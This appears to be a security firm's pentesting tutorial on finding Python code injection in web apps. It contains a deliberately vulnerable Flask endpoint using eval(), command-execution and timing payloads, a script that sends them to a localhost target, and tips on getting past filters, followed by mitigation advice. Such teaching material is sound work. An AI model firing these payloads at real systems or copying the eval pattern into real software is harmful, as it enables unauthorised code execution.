Learn Pentesting: Manual Testing for Python Code Injection in Web Applications

In this installment of our “Learn Pentesting” series, we’re diving deep into one of the more insidious vulnerabilities in web applications—Python code injection. Python’s flexibility and dynamic nature make it a powerful tool for developers but, when misused, can open up significant security holes. This article will walk you through the methodology and techniques for manually testing Python code injection, complete with code examples and testing scripts to use during penetration tests.


Understanding Python Code Injection

Python code injection occurs when an application insecurely processes user-supplied input by passing it to functions like eval(), exec(), or other dynamic execution methods. In these cases, if an attacker can control the input, they might inject malicious code leading to arbitrary command execution, data exfiltration, or even complete system compromise.

Common Scenarios Include:


Setting Up a Vulnerable Environment

Before diving into exploitation techniques, it’s crucial to recreate a controlled environment where you can safely test payloads. Consider a simple web application built with Flask that accepts user input and directly evaluates it.

Below is an example of a vulnerable Flask endpoint:

from flask import Flask, request

app = Flask(__name__)

@app.route('/process', methods=['GET'])
def process():
    # Retrieve user input from a query parameter
    user_input = request.args.get('input')
    try:
        # Directly evaluating user input (vulnerable!)
        result = eval(user_input)
    except Exception as e:
        return f"Error: {e}", 400
    return str(result)

if __name__ == '__main__':
    app.run(debug=True)

Note: This code is intentionally vulnerable for educational purposes only. Never use such patterns in production.

Run this application in a secure, isolated environment to practice your tests.


Manual Testing Methodology

Identifying the Injection Point

The first step in testing for Python code injection is to locate where the application might be unsafely processing user input. Look for parameters or inputs that are passed directly into Python functions like eval() or exec(). In our example, the input query parameter is a candidate.

Initial Testing:

Crafting and Deploying Payloads

Once you’ve confirmed that the input is being evaluated, you can craft payloads to probe the extent of the vulnerability.

Simple Payload Example:

Try an arithmetic expression:

1+1

If the server returns 2, it confirms that the expression is evaluated.

Payload for Arbitrary Code Execution:

A typical attack payload may attempt to import the os module and execute a system command:

(__import__('os').popen('id').read())

If the endpoint is vulnerable, this payload could execute the id command on a Unix system and return the output.

Payload for Timing-Based Testing:

If output is suppressed or you need to confirm the vulnerability indirectly, you can use a delay:

(__import__('time').sleep(5))

Measure the response time to infer that the payload was executed.


Code Examples for Manual Testing

Testing a Vulnerable Endpoint

Here’s a simple Python script to send requests to the vulnerable Flask endpoint and test for code injection:

import requests
import time

# Target URL for the vulnerable endpoint
target_url = "http://127.0.0.1:5000/process"

# Define test payloads
payloads = {
    "arithmetic": "1+1",
    "command_execution": "(__import__('os').popen('id').read())",
    "timing": "(__import__('time').sleep(5))"
}

def test_payload(payload_name, payload):
    print(f"\nTesting payload: {payload_name}")
    params = {"input": payload}
    start = time.time()
    response = requests.get(target_url, params=params)
    duration = time.time() - start
    print(f"Response ({duration:.2f} sec): {response.text}")

# Iterate through payloads and test
for name, payload in payloads.items():
    test_payload(name, payload)

What This Script Does:

Advanced Payload Techniques

In some cases, input sanitization or filtering may block straightforward payloads. Here are advanced techniques you might consider:

Using Alternative Import Mechanisms

Bypassing simple filters might require alternative methods for importing modules. For instance, using the built-in __import__ function directly can sometimes bypass naive string-based filters.

Chaining Functions

Combine multiple functions to both bypass filters and confirm execution. For example, using a payload that both delays execution and returns a value can help validate the vulnerability:

(__import__('time').sleep(3) or 1+1)

This payload delays the response by 3 seconds and then evaluates 1+1 to return 2.

Obfuscation Techniques

If the application applies simple blacklists, consider encoding your payload (e.g., using Unicode or alternative syntax) to avoid detection. Always ensure you document your testing process, as these techniques should be used strictly within authorized environments.


Mitigation Strategies and Best Practices

While the focus of this article is on testing, it’s critical to understand how to remediate Python code injection vulnerabilities. Here are some best practices:

  1. Avoid eval() and exec(): Whenever possible, remove the use of dynamic code execution.
  2. Use Safe Alternatives: For evaluating expressions, use ast.literal_eval(), which safely evaluates literals.
  3. Input Validation and Sanitization: Implement strict input validation to reject any input that does not conform to expected patterns.
  4. Least Privilege: Limit the capabilities of the application process to minimize potential damage from any exploitation.
  5. Security Reviews: Regularly audit code for unsafe patterns and keep dependencies up to date.

Conclusion

Python code injection is a potent vulnerability that can lead to severe consequences if left unchecked. This technical deep-dive has explored the manual testing methodology, provided sample vulnerable code, and demonstrated payloads to help you identify and confirm such vulnerabilities in web applications. Remember, the techniques described here are intended for use in authorized penetration testing environments only. Always follow ethical guidelines and legal requirements when conducting security assessments.

Happy testing, and stay secure!

Numorian is dedicated to advancing cybersecurity knowledge through hands-on technical insights. Stay tuned for more articles in our “Learn Pentesting” series.

Ready to see how Numorian can help your business?

Contact us today to learn more about our services and how we can support your business.